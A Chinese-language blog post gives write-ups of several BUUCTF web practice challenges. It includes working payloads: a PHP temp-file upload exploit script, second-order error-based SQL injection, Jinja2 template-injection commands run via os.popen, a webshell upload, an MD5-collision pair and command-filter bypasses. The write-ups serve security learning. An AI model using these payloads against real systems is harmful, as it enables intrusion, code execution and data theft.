buu练习4

前言

等打虎符了,虽然应该只能是去看看题,但现在该练的题还得练。

[NPUCTF2020]ezinclude

进入网页查看,发现只有一个账号密码错误的提示,审查元素发现hint:

1
md5($secret.$name)===$pass

因此我们要找到$pass的值,发现cookie中存在hash值,将这个值赋值给$pass传参,页面跳转到404.html,找了下也没啥有用的东西,尝试抓包,发现window.location.href="flflflflag.php";,因此抓包访问flflflflag.php

发现文件包含:

1
include($_GET["file"])

尝试读取源码:

1
?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

flflflflag.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

这里要写入webshell,但是能写入的伪协议都被正则匹配了,因此这里不能用伪协议写码。首先扫描目录发现存在dir.php,这个列出了/tmp的目录。找了些资料发现这里要利用到php7 segment fault特性。

简单来说就是使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个文件就会一直留在tmp目录。具体原理可以参考下面这篇博客:
PHP临时文件机制与利用的思考

因此我们编写exp:

1
2
3
4
5
6
7
8
9
10
import requests
from io import BytesIO
url="http://c45cf755-5dfc-4ae1-a036-eebe8522322a.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

再次查看dir.php

1
2
3
4
5
6
7
8
array(3) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(9) "phpUkHKUU"
}

上传成功,直接访问,flag就在phpinfo页面中。

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

进入网页后审查元素,发现hint:?file=,怀疑可能有任意文件读取漏洞,因此尝试伪协议读取源码,把所有网页的源码都读下来。读取完后发现对sql注入的限制非常严格,但是有一个地方有例外,我们查看change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

我们发现在对address进行过滤时,只是用了addslashes()来进行转义,这导致了单引号的失效。但是我们可以用二次注入的方式绕过,注意到change.php中的sql语句:

1
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

这里对地址进行了保存,而当我们再次修改地址的时候,它会将我们的旧地址保存下来,我们可以利用这个点进行注入。

因此第一次先随便输入,第二次我们使用报错注入,由于输出长度有限,因此分两次输出,payload:

1
2
3
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

[HarekazeCTF2019]encode_and_encode

进入网页,随便点点发现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

首先对$body进行json解码,接着发现$json中需要含有$page,$content会去读取$page文件,但是不能有黑名单中的字符。最后判断如果输出中有flag头文件,则替换为空。

那么我们需要绕过的就是关于传入的字符以及输出的内容的正则匹配了,输入用json字符编码绕过,输出用php伪协议绕过,记得上传时是json格式,payload:

1
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

base64解码读取flag。

[RootersCTF2019]I_<3_Flask

题目都告诉是模板注入了,但是找了半天啥都没找到,最重要的是参数没找到,因此这里要用到arjun这个工具了:

1
2
3
4
5
arjun -u http://861ba40a-963d-4243-b551-f583f8a49a21.node4.buuoj.cn:81/ -m GET -c 200 -d 5

由于buu的设置,我们需要设置时间间隔,否则会导致爆破失败

结果:name: name, factor: body length

读取到参数名为name,接着直接构建payload即可:

1
2
3
4
5
6
?name={{().__class__.__bases__[0].__subclasses__()}}
//找子类,发现warnings.catch_warnings,查询位置为182位

?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}

?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()")}}

看了别人的wp,发现可以使用tplmap这个工具,我们测试一下:

1
2
3
4
5
python2 tplmap.py -u http://861ba40a-963d-4243-b551-f583f8a49a21.node4.buuoj.cn:81/?name=1
//发现Jinja2模板

python2 tplmap.py -u http://861ba40a-963d-4243-b551-f583f8a49a21.node4.buuoj.cn:81/?name=1 --os-shell
//获取shell

最后得到flag。

[WUSTCTF2020]CV Maker

进网页是个登录框,测试没发现sql,那先注册登录看看。登陆后发现是个个人页面,可以上传头像,那基本是文件上传没跑了。

直接传图片码,经过测试发现绕过检测方法是将文件名改为shell.jpg.php,在审查元素中找到路径,蚁剑连接,连接后发现根目录下存在flag,但是不能直接读取,因此打开终端使用命令执行:

1
2
3
4
5
ls
Flag_aqi2282u922oiji

cat Flag_aqi2282u922oiji
flag{b46e346f-a5e6-47ba-8e29-5196988ea1d2}

[HCTF 2018]admin

先来个离谱的,直接账号admin密码123登录就能拿到flag了。

这里我看了别人的wp有三种解法,但是由于buu限制发包量,然后flask那个方法我还不是很理解,这里就用unicode欺骗那个方法来解。

首先随便注册登录,在change passwrod部分找到hint:

1
https://github.com/woadsl1234/hctf_flask/

审计注册、登录与改密的路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
ef register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

发现这三个路由都在用户名上使用了strlower()时用户名变为小写。这时,有一种神奇的字符:

1
ᴬᴰᴹᴵᴺ

这个字符第一次经过strlower()时会被转换成ADMIN,而结合路由,如果我们使用这个用户名注册,那么在注册时首先会被转变成ADMIN,之后改密码ADMIN再次经过strlower()变成admin,我们就可以登录admin获取flag了。

这个方法是真的离谱,学习了。

[ASIS 2019]Unicorn shop

进入网页,发现有四个东西能让我们买,但是测试了下发现我们只能买最贵的那个,但尝试输入价格时发现只能输入一个字符,但是我们要输入一个大于1337的值。

这里的知识点是unicode编码安全问题,即可以用别的语言来代表数字,我们通过下面这个网址来查找unicode字符:
Unicode字符查找

我们选择ↂ字符,这个字符代表的值是10000,复制它的utf-8编码(源码中定义了编码格式并且明确告诉我们这个很重要),然后将0x改为%,payload:

1
id=4&price=%E2%86%82

[安洵杯 2019]easy_web

前端开幕雷击,直接质问我web狗怎么活,答案是活不了,我直接泪目了。

好了我装的,看题目,发现url不对经:

1
81a58bcb-8a03-4fac-9b39-a3d4f40421b6.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

img的内容疑似base64,解码试试,两层解密发现一串十六进制字符串,再次解码,得到的内容是555.png。那么我们试试将index.php用同样方法操作下带入会发生什么:

1
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

发现图片的base64变了,解码获取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>

发现md5强类型比较,这个之前没有碰到,找了下发现可以用下面这个payload绕过:

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

接着发现一众命令被过滤,包括ls,因此这里用dir遍历目录,空格被过滤使用%20代替,发现flag文件在根目录,用于cat被过滤,因此使用反斜杠绕过,payload:

1
?img=1&cmd=ca\t%20/flag

当然我去找了下,发现还可以用sort读取文件,payload:

1
?img=1&cmd=sort%20/flag